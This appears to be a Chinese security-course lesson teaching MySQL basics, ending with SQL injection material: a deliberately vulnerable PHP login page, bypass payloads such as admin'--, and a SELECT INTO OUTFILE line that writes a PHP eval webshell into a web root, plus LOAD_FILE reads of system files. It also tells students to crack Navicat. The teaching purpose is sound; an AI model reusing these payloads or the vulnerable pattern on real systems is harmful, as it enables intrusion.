Day4 前置基础知识-数据库(一)
一、数据库技术简介及其与网络安全的关系
1.1 数据库概念
数据库(Database,简称 DB)是按照数据结构来组织、存储和管理数据的仓库,它能高效实现数据的增删改查,避免数据冗余,保证数据的一致性和安全性。在网络安全领域,数据库是核心资产之一(如用户密码库、业务数据存储库),其安全直接影响整个系统的安全,因此掌握数据库基础是学习网络安全的重要前提。
- DBMS(数据库管理系统):如 MySQL、PostgreSQL、Oracle 等,用于创建、管理和操作数据库。
- SQL(结构化查询语言):几乎所有主流数据库通用的语言,用来执行增删改查等操作。
📌 类比理解: 数据库 → 电子表格仓库 表(table)→ 单个 Excel 文件 记录(record)→ 表中的一行数据 字段(field)→ 表中的一列
例如:
users 表
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 123456 |
| 2 | guest | guest123 |
+----+----------+----------+
1.2 DBMS 类别
DBMS(Database Management System,数据库管理系统)是用于管理数据库的软件,根据数据模型的不同,主要分为以下几类:
| 类别 | 特点 | 代表产品 | 适用场景 |
|---|---|---|---|
| 关系型数据库 | 基于关系模型(二维表结构),支持 SQL 语言,数据一致性强 | MySQL、Oracle、SQL Server | 金融交易、用户管理等对数据一致性要求高的场景 |
| 非关系型数据库(NoSQL) | 不依赖二维表,数据结构灵活(如键值对、文档、图形),扩展性强 | Redis(键值)、MongoDB(文档)、Neo4j(图形) | 高并发读写(如电商秒杀)、非结构化数据存储(如日志) |
| 时序数据库 | 专门存储时间序列数据(按时间戳排序),支持高效时间范围查询 | InfluxDB、Prometheus | 系统监控、物联网设备数据采集 |
在网络安全课程中,我们以MySQL(关系型数据库) 为核心展开学习,因其开源免费、应用广泛,且是渗透测试、漏洞分析中常见的目标数据库。
1.3 什么是数据表(Table)
数据库内部是由一张张表组成的,每张表像 Excel 的一张表格。
表由两部分组成:
- 行(Row):每一行代表一条数据记录
- 列(Column):每一列代表一个字段(属性),例如姓名、年龄
示例:student 学生表
| id | name | age |
|---|---|---|
| 1 | Alice | 20 |
| 2 | Bob | 21 |
1.4 什么是字段(Field)
字段就是表中的一列,用来描述数据的某一部分信息。
例如 student 表中:
| 字段名 | 含义 | 类型 |
|---|---|---|
| id | 学号 | INT(整数) |
| name | 姓名 | VARCHAR(字符串) |
| age | 年龄 | INT(整数) |
1.5 数据类型(重点记几个)
数据类型用于告诉数据库 存储的数据是什么类型。
常见类型:
| 类型 | 说明 | 示例 |
|---|---|---|
| INT | 整数 | 18, 0, 200 |
| VARCHAR(n) | 字符串(长度可变) | "Alice" |
| CHAR(n) | 固定长度字符串 | 'A' |
| TEXT | 大段文字 | 评论内容 |
| DATE | 日期 | 2025-01-01 |
| FLOAT / DOUBLE | 小数 | 3.14 |
主要了解一下:INT、VARCHAR、TEXT、DATE
1.6 主键(Primary Key)
主键是表中 唯一标识一条记录 的字段,不能重复,不能为 NULL。
一个表通常会有一个主键,比如:
- 学号(唯一)
- 身份证号(唯一)
- 自增 id(最常用)
例子:
id INT PRIMARY KEY AUTO_INCREMENT
主键作用:
- 快速定位数据
- 防止重复
- 让数据库更高效地管理表
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50)
);
-- 插入数据时,id 自动递增
INSERT INTO users (username) VALUES ('Alice'); -- id 自动为 1
INSERT INTO users (username) VALUES ('Bob'); -- id 自动为 2
1.7 约束(Constraint)
约束就是数据库对某个字段设定的 规则,用来保证数据合法、安全。
常见约束:
| 名称 | 作用 | 示例 |
|---|---|---|
| PRIMARY KEY | 主键,唯一、非空 | id |
| UNIQUE | 不允许重复 | username |
| NOT NULL | 不允许为空 | name |
| DEFAULT | 默认值 | DEFAULT 18 |
| CHECK | 自定义检查(MySQL 限制) | age > 0 |
| FOREIGN KEY | 外键(保持表之间关系) | student.class_id → class.id |
初学只需要理解 PRIMARY KEY、NOT NULL、UNIQUE、DEFAULT
UNIQUE(唯一)
CREATE TABLE students (
id INT PRIMARY KEY AUTO_INCREMENT,
email VARCHAR(100) UNIQUE -- 邮箱不能重复
);
-- 插入测试
INSERT INTO students (email) VALUES ('a@qq.com'); -- ✅ 成功
INSERT INTO students (email) VALUES ('a@qq.com'); -- ❌ 报错:Duplicate entry 'a@qq.com'
NOT NULL(非空)
CREATE TABLE students (
id INT PRIMARY KEY AUTO_INCREMENT,
name VARCHAR(50) NOT NULL -- 姓名必须填写
);
-- 插入测试
INSERT INTO students (name) VALUES ('张三'); -- ✅ 成功
INSERT INTO students (name) VALUES (NULL); -- ❌ 报错:Column 'name' cannot be null
DEFAULT(默认值)
CREATE TABLE students (
id INT PRIMARY KEY AUTO_INCREMENT,
status ENUM('active', 'inactive') DEFAULT 'active', -- 默认激活
score INT DEFAULT 0 -- 默认 0 分
);
-- 插入测试
INSERT INTO students () VALUES (); -- ✅ status='active', score=0
1.8 什么是外键(Foreign Key)
外键用来建立 两个表之间的关系,保证数据一致性。
例:
班级表:class 学生表:student(class_id 关联 class.id)
这样就可以知道每个学生属于哪个班级。
但外键在实战(尤其在网络安全)里使用较少,了解概念即可,不深讲。
1.9 什么是索引(Index)
索引就像书的目录,可以让你快速查找内容。
加索引可以:
- 提升查询速度
- 加快WHERE 查询
但会让写入变慢(因为要维护索引),后面再深入。
只需知道:
索引让查询更快。
1.10 SQL 是什么?
SQL(Structured Query Language)是一种 操作数据库的语言。
你可以用 SQL 来:
- 创建表
- 查询数据(SELECT)
- 插入数据(INSERT)
- 更新数据(UPDATE)
- 删除数据(DELETE)
比如查询全部学生:
SELECT * FROM student;
SQL 注释的三种方式
1. -- 单行注释(ANSI 标准)
-- 这是注释(注意:--后面必须有空格!)
SELECT * FROM users; -- 行尾注释
关键陷阱:-- 后面必须至少有一个空格,否则会被当成 SQL 的一部分!
--❌ 错误:SELECT * FROM users; --没空格的注释
--✅ 正确:SELECT * FROM users; -- 有空格的注释
2. # 单行注释(MySQL 特有)
# 这是 MySQL 注释(# 后面可以不要空格)
SELECT * FROM users; # 行尾注释
特点:
- MySQL 专属,不是 SQL 标准
#后面不需要空格(推荐加空格提高可读性)
3. /* ... */ 多行注释(标准)
/*
这是多行注释
可以跨越多行
*/
SELECT * FROM users;
SELECT * FROM users WHERE id = 1 /* 行内注释 */ AND status = 'active';
高级用法:MySQL 中可以用 /*! ... */ 实现版本兼容:
/*!50712 SQL语句 */ -- 仅在 MySQL 5.7.12+ 执行
不同数据库的兼容性
| 数据库 | -- |
# |
/* ... */ |
|---|---|---|---|
| MySQL | ✅(需空格) | ✅ | ✅ |
| PostgreSQL | ✅(需空格) | ❌ | ✅ |
| SQL Server | ✅(需空格) | ❌ | ✅ |
| SQLite | ✅(需空格) | ❌ | ✅ |
| Oracle | ✅(需空格) | ❌ | ✅ |
一句话总结:-- 是标准但后面必须加空格,# 是 MySQL 偷懒写法,多行用 /* */ 最保险!
1.11 数据库与网络安全的关系
为什么信息安全专业要学数据库?
因为数据库是网站最重要的组成部分,而常见攻击之一就是:
SQL 注入(SQL Injection)
当程序没有正确处理用户输入时,攻击者可以在输入框中加入 SQL 代码,从而:
- 查询敏感数据
- 绕过登录
- 删除数据库
- 甚至控制服务器
要理解 SQL 注入,必须先会:
- 基础 SQL
- 主键和字段的概念
- 表结构
- 插入/查询语句
学习数据库不仅是开发技能,也是安全分析必备知识。
关键认知:
数据库不仅是“后台服务”,更是主要攻击面之一。学会操作数据库,才能理解攻击原理,进而做好防御。
二、环境搭建及工具安装
2.1 将 MySQL 添加到系统环境变量
小皮面板已安装 MySQL,但默认无法在 CMD 中直接使用 mysql 命令,需手动添加环境变量。
2.1.1 步骤详解(Windows)
找到 MySQL 的
bin目录路径(常见路径如下):D:\phpstudy_pro\Extensions\MySQL\mysql-5.7.39-winx64\bin注意:不同版本的小皮面板路径略有差异,请根据实际安装位置确认。
打开系统环境变量设置:
- 右键“此电脑” → 属性 → 高级系统设置 → 环境变量
在“系统变量”区域找到
Path,点击“编辑”点击“新建”,粘贴刚才复制的
bin路径连续点击“确定”保存更改
重启 CMD(重要!否则不生效)
验证是否成功:
mysql --version若返回类似以下内容,则表示配置成功:
mysql Ver 14.14 Distrib 5.7.39, for Win64 (x86_64)
2.1.2 常见问题排查
- 提示
'mysql' 不是内部或外部命令→ 检查路径是否正确;是否重启了 cmd;是否有拼写错误 - 多个 MySQL 实例冲突 → 建议只保留小皮面板自带的一个实例,避免端口占用
2.2 Navicat 安装与使用指南
2.2.1 什么是 Navicat?
Navicat 是一款图形化数据库管理工具,支持 MySQL、MariaDB、MongoDB 等多种数据库。其优势在于:
- 可视化界面,便于初学者上手
- 支持数据建模、导入导出、SQL 自动生成
- 适合教学演示与日常开发
下载地址:使用群内安装包(仅供学习使用)
2.2.2 安装步骤
- 下载后双击
.exe文件 - 按提示完成安装
- 根据步骤完成破解
- 启动 Navicat
2.2.3 连接本地 MySQL 数据库
- 点击左上角【连接】→【MySQL】
- 填写连接信息:
- 连接名:
Local MySQL - 主机:
127.0.0.1或localhost - 端口:
3306(小皮面板默认) - 用户名:
root - 密码:
123456(到小皮面板—数据库,查看root密码)
- 连接名:
点击【测试连接】→ 显示“连接成功”即可保存
成功后左侧会显示数据库列表,包括:
information_schema
- performance_schema
- sys
- mysql、ctf等等
2.2.4 常见操作演示
| 操作 | 方法 |
|---|---|
| 创建数据库 | 右键连接 → 新建数据库 → 输入名称(如 testdb) |
| 创建表 | 右键表 → 新建表 → 添加字段(id, name, age)→ 保存为 students |
| 插入数据 | 右键表 → 查看数据 → 插入新行 |
| 执行 SQL | 工具栏点击【查询】→ 新建查询 → 编写并运行 SQL |
示例 SQL 创建表:
CREATE TABLE students (
id INT AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(50) NOT NULL,
age INT
);
插入测试数据:
INSERT INTO students (name, age) VALUES
('Alice', 20),
('Bob', 21),
('Charlie', 22);
查询所有数据:
SELECT * FROM students;
三、MySQL系统数据库解析
在 MySQL 安装完成后,左侧会自动出现几个系统数据库,它们不是给你直接存数据用的,而是 管理 MySQL 自身运行 必不可少的“内部数据库”。
3.1 information_schema(信息架构库)
作用:提供数据库元数据(Meta Data)
它里面保存的不是你真正的数据,而是:
- 数据库有哪些表
- 每个表有哪些字段
- 字段类型是什么
- 表占多少空间
- 字符集是什么
- 视图、触发器、约束等信息
可以把它理解为 “MySQL 的信息目录”
示例:
select * from information_schema.tables;
查看当前服务器上所有数据库的所有表信息。
这个库一般不会直接改动,只是查询结构时会用到。
注意:
- information_schema 是从 MySQL 5.0(2005 年)开始引入的系统数据库。
- 目的是为了遵循 SQL 标准(SQL:2003),提供统一的“元数据访问方式”。
在 MySQL 4.x 及以前,没有这个库,查询表结构只能靠 SHOW TABLES、SHOW COLUMNS 这种非标准语句。
是 安全面试中非常常见且很容易考到的点,尤其是:
- Web 渗透
- SQL 注入(盲注)
- 数据库基础
- 权限绕过
information_schema = SQL 注入信息收集的核心。
3.2 performance_schema(性能监控库)
作用:收集数据库运行时的性能数据
里面存的都是运行时数据,例如:
- SQL 执行时间
- 锁等待时间
- 线程运行信息
- IO 信息
是 DBA 做性能调优的重要来源。
一般不会往里面插入数据,它的数据由 MySQL 自动生成。
3.3 sys(系统视图库)
作用:把 performance_schema 的复杂信息简化成好懂的视图
performance_schema 原始数据太复杂,sys 库相当于做了“美化”和“整理”:
例如:
- 哪些 SQL 最耗时
- 当前数据库负载情况如何
- 哪些表访问最频繁
可以把它理解成:
performance_schema = 原始监控数据 sys = 经过整理、可读性更好的性能报告
3.4 mysql(MySQL 核心权限数据库)
作用:存储 MySQL 的权限和配置:
- 用户名与密码(例如 root)
- 用户权限(能不能读写某个数据库)
- 时区、字符集设置
- 服务器配置内容
平常的权限管理就是改这个库里面的表。
例如:
select host, user from mysql.user;
可以看到有哪些用户。
❗ 这个库非常重要,不要随便删除表,否则 MySQL 会直接启动失败。
MySQL 的 mysql.user 表中存储的是密码哈希值,而非明文密码。预支对应的密码字段authentication_string 是 从 MySQL 5.7 版本开始引入的。
MySQL 5.7 之前:
- 用户密码存储在
mysql.user表的password字段中 - 使用旧的密码哈希格式
MySQL 5.7 及之后:
- 移除了
password字段 - 新增了
authentication_string字段来存储用户认证信息 - 支持更安全的密码加密方式
- 引入了新的默认身份验证插件
MySQL 5.7 及之后:
SELECT user, host, authentication_string FROM mysql.user;
安全注意事项:
- 查看用户表需要高权限(如 root 用户)
- 不要尝试解密,这些哈希值是单向加密的
- MySQL 8.0 默认使用
caching_sha2_password认证插件,安全性更强 - 生产环境请严格控制对
mysql.user表的访问权限
总结:能看到哈希值,但无法逆向获取原始密码。重置密码请使用 ALTER USER 命令。
3.5 ctf、test 等等(你或程序创建的普通数据库)
作用:存自己的业务数据
这类库不是系统的,是你或应用程序创建的:
create database ctf;
你创建的所有表、数据都放在这些库下,比如:
- 用户表
- 文章表
- CTF 的 flag 表
- 学生实验的测试数据
3.6 总结表
| 库名 | 类型 | 用途说明 |
|---|---|---|
| information_schema | 系统库 | 存数据库结构信息(表名、字段等) |
| performance_schema | 系统库 | 运行时性能监控数据 |
| sys | 系统库 | performance_schema 的“简化版”视图 |
| mysql | 核心系统库 | 用户、权限、配置 |
| ctf / test / demo 等 | 普通数据库 | 你自己存放数据的地方 |
四、MySQL 基础命令
4.1 连接 MySQL
连接 MySQL
mysql -u 用户名 -p
例:
mysql -u root -p
指定主机 + 端口
mysql -h 127.0.0.1 -P 3306 -u root -p
4.2 数据库级操作(Database Operations)
4.2.1 查看数据库
SHOW DATABASES;
输出常见数据库:
- information_schema
- mysql
- performance_schema
- sys
4.2.2 创建数据库
CREATE DATABASE school;
创建带字符集:
CREATE DATABASE school CHARACTER SET utf8mb4;
4.2.3 删除数据库
DROP DATABASE school;
注意:不可恢复。
4.2.4 使用某数据库
USE school;
4.2.5 查看当前使用的数据库
SELECT DATABASE();
4.3 表结构操作(Table Operations)
进入数据库后(执行 USE school;),可操作表。
4.3.1 查看当前库的所有表
SHOW TABLES;
4.3.2 创建表
CREATE TABLE student (
id INT PRIMARY KEY AUTO_INCREMENT,
name VARCHAR(50),
age INT,
grade VARCHAR(10)
);
说明:
| 字段 | 类型 | 说明 |
|---|---|---|
| id | INT | 主键、自增 |
| name | VARCHAR(50) | 字符串 |
| age | INT | 整数 |
| grade | VARCHAR(10) | 班级/年级 |
4.3.3 查看表结构
DESC student;
更详细:
SHOW CREATE TABLE student;
4.3.4 修改表结构
添加字段
ALTER TABLE student ADD email VARCHAR(100);
修改字段类型
ALTER TABLE student MODIFY age SMALLINT;
修改字段名
ALTER TABLE student CHANGE grade class VARCHAR(20);
删除字段
ALTER TABLE student DROP COLUMN email;
重命名表
ALTER TABLE student RENAME TO users;
4.3.5 删除表
DROP TABLE student;
4.4 数据操作(增删改)
4.4.1 插入数据(INSERT)
INSERT INTO student (name, age, grade)
VALUES ('Alice', 20, 'A1');
一次插入多条:
INSERT INTO student (name, age, grade)
VALUES
('Bob', 21, 'A1'),
('Tom', 22, 'A2');
4.4.2 更新数据(UPDATE)
UPDATE student SET age = 23 WHERE name='Bob';
更新多个字段:
UPDATE student SET age = 30, grade='A3' WHERE id=1;
⚠ 强调:UPDATE 必须带 WHERE,否则全表修改
4.4.3 删除数据(DELETE)
DELETE FROM student WHERE id=2;
删除全部(危险!):
DELETE FROM student;
4.5 查询语句(SELECT)
这部分是 SQL 的核心。
4.5.1 查询全部
SELECT * FROM student;
4.5.2 查询指定字段
SELECT name, age FROM student;
4.5.3 条件查询(WHERE)
SELECT * FROM student WHERE age > 20;
常用条件:
| 符号 | 含义 |
|---|---|
| = | 等于 |
| != 或 <> | 不等于 |
、<、>=、<= | 大小比较 LIKE | 模糊查询 IN() | 在列表中 BETWEEN | 范围查询
例如模糊查询:
SELECT * FROM student WHERE name LIKE 'A%';-- 筛选条件:name 列的值以 "A" 开头
LIKE 通配符规则
| 通配符 | 含义 | 示例 | 匹配结果 |
|---|---|---|---|
% |
任意数量字符(包括 0 个) | 'A%' |
Alice, Amy, A, Abc123 |
_ |
单个字符 | 'A_' |
An, At(不匹配 Alice) |
4.5.4 排序(ORDER BY)
SELECT * FROM student ORDER BY age DESC;
ASC = 升序 DESC = 降序
4.5.5 限制条数(LIMIT)
SELECT * FROM student LIMIT 5;
分页:
SELECT * FROM student LIMIT 10 OFFSET 20;-- 从 student 表中查询数据,跳过前 20 条记录,然后返回接下来的 10 条记录。
4.5.6 统计/聚合函数
常用聚合:
| 函数 | 作用 |
|---|---|
| COUNT | 计数 |
| MAX | 最大值 |
| MIN | 最小值 |
| AVG | 平均值 |
| SUM | 求和 |
例:
SELECT COUNT(*) FROM student;
SELECT AVG(age) FROM student;
4.5.7 分组查询(GROUP BY)
SELECT grade, COUNT(*)
FROM student
GROUP BY grade;
各部分的含义
FROM student:从"student"(学生)表中查询数据GROUP BY grade:按照"grade"(年级)列进行分组,把相同年级的学生合并成一组COUNT(*):计算每个分组内的行数(即每个年级有多少名学生)SELECT grade, COUNT(*):最终选择显示两列:年级名称 和 对应的学生数量
举个例子
假设 student 表里有以下数据:
| id | name | grade |
|---|---|---|
| 1 | 张三 | 大一 |
| 2 | 李四 | 大一 |
| 3 | 王五 | 大二 |
| 4 | 赵六 | 大三 |
| 5 | 钱七 | 大二 |
| 6 | 孙八 | 大一 |
执行这条SQL后,结果会是:
| grade | COUNT(*) |
|---|---|
| 大一 | 3 |
| 大二 | 2 |
| 大三 | 1 |
4.6 MySQL 用户与权限
4.6.1 查看所有用户
SELECT user, host FROM mysql.user;
4.6.2 创建用户
CREATE USER 'test'@'localhost' IDENTIFIED BY '123456';
4.6.3 修改密码
ALTER USER 'test'@'localhost' IDENTIFIED BY 'newpass';
4.6.4 授权
给 test 用户所有权限:
GRANT ALL PRIVILEGES ON *.* TO 'test'@'localhost';
给 test 用户某个库:
GRANT SELECT, INSERT ON school.* TO 'test'@'localhost';
4.6.5 刷新权限
FLUSH PRIVILEGES;
4.6.6 删除用户
DROP USER 'test'@'localhost';
4.7 数据库备份与恢复(mysqldump)
4.7.1 备份数据库
mysqldump -u root -p school > school.sql
4.7.2 导入 SQL 文件
进入 MySQL 后:
source school.sql;
4.8 MySQL 常用系统命令
| 命令 | 说明 |
|---|---|
| status | 显示当前连接信息 |
| select now(); | 显示当前时间 |
| \c | 取消当前输入 |
| exit; | 退出 |
| help; | 显示帮助 |
五、MySQL 数据库实操
5.1 Navicat
5.1.1创建数据库(Create Database)
| 步骤 | 内容 |
|---|---|
| 右键连接 | → 新建数据库 |
| 输入数据库名 | 如:testdb |
| 选择字符集(重要) | UTF8 / UTF8MB4(建议 UTF8MB4) |
| 选择排序规则 Collation | 一般自动跟随字符集,也可选 utf8mb4_general_ci |
| 设置备注(可选) | 示例用途说明 |
| 点击确定 | 创建完成 |
说明: 选择字符集是非常重要的步骤,Navicat 默认可能不是 UTF8MB4,所以必须知道如何修改。
5.1.2 创建表(Create Table)
| 步骤 | 内容 |
|---|---|
右键数据库 → 新建表 |
弹出字段编辑器 |
| 添加字段 | 如 id, name, age |
| 选择字段类型 Type | INT / VARCHAR / TEXT / DATETIME 等 |
| 设置长度(如 VARCHAR(50)) | 对字符串字段必须设置长度 |
| 设置主键(PK) | 勾选 id 为主键 |
| 设置自增(AI) | id 字段通常设为 AUTO_INCREMENT |
| 设置是否允许为 NULL | 例如 name 通常不允许为空 |
| 设置默认值(可选) | 如 age 默认 18 |
| 保存表 | 输入表名,如 students |
真实创建表的 SQL 会类似:
CREATE TABLE students (
id INT PRIMARY KEY AUTO_INCREMENT,
name VARCHAR(50) NOT NULL,
age INT DEFAULT 18
);
在 MySQL 中,绝大多数字符类型(尤其是 VARCHAR) 如果你不写长度,会 报错或自动使用一个系统默认长度。 但注意:不同字段类型对“长度”的要求不一样,有的是必须写,有的是可选,有的是不需要长度。
最常用字段类型的默认行为总结表
| 字段类型 | 是否需要长度 | 不写时的默认行为 |
|---|---|---|
| VARCHAR(n) | 必须写 | ❌ 报错 |
| CHAR(n) | 可不写 | 默认 CHAR(1) |
| INT / BIGINT / TINYINT | 不需要 | 默认宽度废弃,直接使用即可 |
| DECIMAL(p,s) | 必须写 | ❌ 报错 |
| TEXT / BLOB 系列 | 不需要 | 系统有固定最大长度 |
| DATE / DATETIME / TIMESTAMP | 不需要 | 正常使用 |
| FLOAT / DOUBLE | 可写精度,也可不写 | 不写则使用系统默认精度 |
VARCHAR 是可变长,节省空间;CHAR 是固定长,速度快。 字符串长度不固定就用 VARCHAR,完全固定才用 CHAR。
VARCHAR —— 可变长度字符串(Variable Character)
特点:长度可变,按实际内容存储,不浪费空间
例如:
name VARCHAR(50)
如果你存入:
"Tom"(3 个字符) → 占 3 个字节"Jonathan"(8 个字符) → 占 8 个字节
VARCHAR 不会占满 50,它只占你写的内容的长度。
适合哪些字段?
- 用户名(name)
- 邮箱(email)
- 密码(password)
- 地址(address)
- 描述信息
基本上你 90% 的字符串字段都用 VARCHAR。
5.1.3 插入数据(Insert Records)
| 步骤 | 内容 |
|---|---|
右键表 → 打开表 |
会进入数据网格 |
点击左下方的+号 |
每一行代表一条新数据 |
| 输入数据 | 如:1, Alice, 20 |
点击√ 保存 |
Navicat 自动执行 INSERT INTO ... |
也可以手写 SQL:
INSERT INTO students (name, age) VALUES ('Alice', 20);
5.1.4 执行 SQL(Query Editor)
| 步骤 | 内容 |
|---|---|
| 工具栏点击【查询】→ 新建查询 | 打开 SQL 编辑器 |
| 编写 SQL | 如:SELECT * FROM students; |
| 点击运行 | 执行结果显示在下方 |
常用 SQL 示例:
SELECT * FROM students;
UPDATE students SET age = 21 WHERE id = 1;
DELETE FROM students WHERE id = 1;
DROP TABLE students;
5.1.5 总结
| 操作 | Navicat 操作步骤(完整版) |
|---|---|
| 创建数据库 | 右键连接 → 新建数据库 → 输入名称(如 testdb)→ 选择字符集 UTF8MB4 → 选择 Collation → 确定 |
| 创建表 | 右键数据库 → 新建表 → 添加字段 → 设置字段类型 + 长度 → 设置主键 + 自增 → 不为空 → 保存为 students |
| 插入数据 | 右键表 → 查看数据 → 插入新行 → 输入数据 → Enter 保存 |
| 执行 SQL | 工具栏 → 查询 → 新建查询 → 输入 SQL → 运行 |
5.2 CMD 命令行连接
虽然 Navicat 图形化方便,但在渗透测试中,命令行才是核心工具。
5.2.1 连接数据库
打开 CMD,输入:
mysql -u root -p
回车后输入密码(默认 123456),进入交互模式:
Welcome to the MySQL monitor...
mysql>
5.2.2 常用命令速查表
| 命令 | 功能说明 |
|---|---|
SHOW DATABASES; |
查看所有数据库 |
USE database_name; |
切换到指定数据库 |
SHOW TABLES; |
查看当前数据库下的所有表 |
DESCRIBE table_name; |
查看表结构(字段、类型、主键等) |
SELECT * FROM table_name; |
查询表中所有数据 |
EXIT; 或 QUIT; |
退出 MySQL 客户端 |
5.2.3 实操探索login_demo数据库
在PHP实验里,我们创建了一个名为 login_demo 的数据库,对其进行如下操作:
-- 查看所有数据库
SHOW DATABASES;
-- 使用 security 数据库
USE login_demo;
-- 查看该库下有哪些表
SHOW TABLES;
-- 查看 emails 表结构
DESCRIBE users;
-- 查询 emails 表的所有数据
SELECT * FROM users;
六、基础数据库操作实验
6.1 实验 1:创建数据库与表
实验要求:
- 使用命令行创建一个名为
lab_db的数据库 - 在其中创建一张
users表,包含字段:id,username,password
示例代码:
-- 创建数据库
CREATE DATABASE lab_db;
-- 切换数据库
USE lab_db;
-- 创建 users 表
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50) UNIQUE NOT NULL,
password VARCHAR(100) NOT NULL
);
验证方法:
SHOW TABLES;
DESCRIBE users;
6.2 实验 2:插入与查询数据
实验要求:
- 向
lab_db数据库users表插入 3 条用户记录 - 查询所有用户信息
示例代码:
INSERT INTO users (username, password) VALUES
('admin', 'admin123'),
('user1', 'pass123'),
('test', 'test@123');
-- 查询所有数据
SELECT * FROM users;
MySQL 命令行里命令输入后示例,可直接回车
mysql> INSERT INTO users (username, password) VALUES
-> ('admin', 'admin123'),
-> ('user1', 'pass123'),
-> ('test', 'test@123');
Query OK, 3 rows affected
看到 -> 提示符说明正在续行,输入 ; 才执行。
6.3 实验 3:更新与删除数据
实验要求:
- 将用户名为 'test' 的密码改为 'newpass'
- 删除用户名为 'user1' 的记录
示例代码:
-- 更新密码
UPDATE users SET password = 'newpass' WHERE username = 'test';
-- 删除记录
DELETE FROM users WHERE username = 'user1';
-- 验证结果
SELECT * FROM users;
6.4 实验 4:枚举数据库中的表名
这是 SQL 注入中最常用的技巧之一!
实验要求:
- 使用
information_schema.tables查询lab_db数据库中的所有表名
USE mysql;-- 可选,主要体验一下,从information_schema里查询表名,不用处于所查询的数据库中。
SELECT table_name
FROM information_schema.tables
WHERE table_schema = 'lab_db';
解释:
information_schema是 MySQL 自带的元数据库,存储所有数据库的结构信息- 攻击者可通过注入此语句,获取目标数据库的所有表名,进一步构造攻击
七、关于数据库安全的思考
现在我们来思考一个问题:
如果网站登录框没有对用户输入做过滤,会发生什么?
设想一个典型的登录 SQL 查询:
SELECT * FROM users WHERE username = '$user' AND password = '$pass';
如果用户输入:
用户名:admin'--
密码:任意
最终 SQL 变成:
SELECT * FROM users WHERE username = 'admin'-- ' AND password = 'xxx';
由于 -- 是 SQL 注释符,后面的条件被忽略,相当于:
SELECT * FROM users WHERE username = 'admin'
结果:无需密码即可登录!
这就是 SQL 注入 的基本原理。
看一个实际的例子http://113.44.59.124:9002/
index.php
<?php
$db = new PDO('sqlite:./users.db');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
# 初始化用户表
$db->exec("CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
password TEXT)");
# 插入测试用户
$db->exec("INSERT OR IGNORE INTO users(id,username,password) VALUES(1,'admin','real-pass-1337')");
# 只在 POST 提交时验证
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$name = $_POST['username'] ?? '';
$pass = $_POST['password'] ?? '';
# 拼接 SQL(无任何过滤)
$sql = "SELECT * FROM users WHERE username='$name' AND password='$pass'";
try {
$stmt = $db->query($sql);
$user = $stmt->fetch(PDO::FETCH_ASSOC);
} catch (Exception $e) {
echo "<hr>SQL 报错:" . $e->getMessage();
exit;
}
# 判断是否登录成功
if ($user) {
$flag = trim(file_get_contents('/flag'));
echo "<hr>登录成功! flag 是:$flag";
} else {
echo "<hr>用户名或密码错误~";
}
}
?>
<!doctype html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<title>Login | EagleLab</title>
<style>body{font-family:Segoe UI,Helvetica,Arial,sans-serif;background:#f4f7f6;margin:0;padding:60px;text-align:center}h1{color:#333}.box{background:#fff;padding:30px;border-radius:8px;box-shadow:0 4px 6px rgba(0,0,0,.1);max-width:400px;margin:auto}input[type=text],input[type=password]{width:80%;padding:8px;margin:8px 0}button{padding:8px 20px}</style>
</head>
<body>
<div class="box">
<h1>EagleLab 后台登录</h1>
<form method="post">
<input type="text" name="username" placeholder="用户名"><br>
<input type="password" name="password" placeholder="密码"><br>
<button type="submit">登录</button>
</form>
</div>
</body>
</html>
尝试正常登录和sql注入
用户名admin'--,密码随意
或者
用户名admin,密码'or 1--
安全启示
- 为什么数据库权限要最小化?(不要用 root 用户连接应用)
- 为什么不能拼接 SQL?(应使用预编译参数化查询)
- 如何检测 SQL 注入漏洞?(尝试
' OR 1=1 --看是否能绕过登录) - 攻击者拿到数据库后还能做什么?(读取文件、写入木马、反弹 shell)
八、常用 MySQL 系统函数与安全相关知识点
| 函数/变量 | 作用 | 安全意义 |
|---|---|---|
version() |
查看 MySQL 版本 | 判断是否存在已知漏洞 |
user() |
当前数据库用户 | 判断权限高低(root?) |
database() |
当前数据库名 | 注入时用于定位目标 |
@@datadir |
数据库存储路径 | 可用于读写文件(LOAD_FILE / INTO OUTFILE) |
@@basedir |
安装路径 | 判断系统环境 |
LOAD_FILE('path') |
读取服务器文件 | 获取配置文件、日志等 |
SELECT ... INTO OUTFILE |
写入文件 | 可写入 Webshell |
示例:
-- 读取系统 hosts 文件
SELECT LOAD_FILE('C:/Windows/System32/drivers/etc/hosts');
SELECT LOAD_FILE('D:\\eaglelab\\security\\day4\\flag.txt');
-- 需要先查看secure_file_priv,命令:SHOW VARIABLES LIKE 'secure_file_priv';
-- 1.NULL:完全禁止文件读取 2./var/lib/mysql-files/ 只能读该目录 3.空字符串 '':不限制(但通常默认不是空)
-- 写入一句话木马(危险操作!仅演示)
SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE 'D:/phpstudy_pro/WWW/shell.php';
MySQL 文件读写前置条件清单
必须条件(缺一不可)
| 条件 | 检查命令 | 解决方案 |
|---|---|---|
secure_file_priv 为空或指定路径 |
SHOW VARIABLES LIKE 'secure_file_priv'; |
在 my.ini/my.cnf 的 [mysqld] 段添加 secure_file_priv="" 后重启 |
| 必须是绝对路径 | - | D:/path/file.txt (✅) ../file.txt (❌) |
| MySQL服务用户权限 | - | Windows: NETWORK SERVICE Linux: mysql 用户 |
文件大小 < max_allowed_packet |
SHOW VARIABLES LIKE 'max_allowed_packet'; |
在配置文件中调大该值 |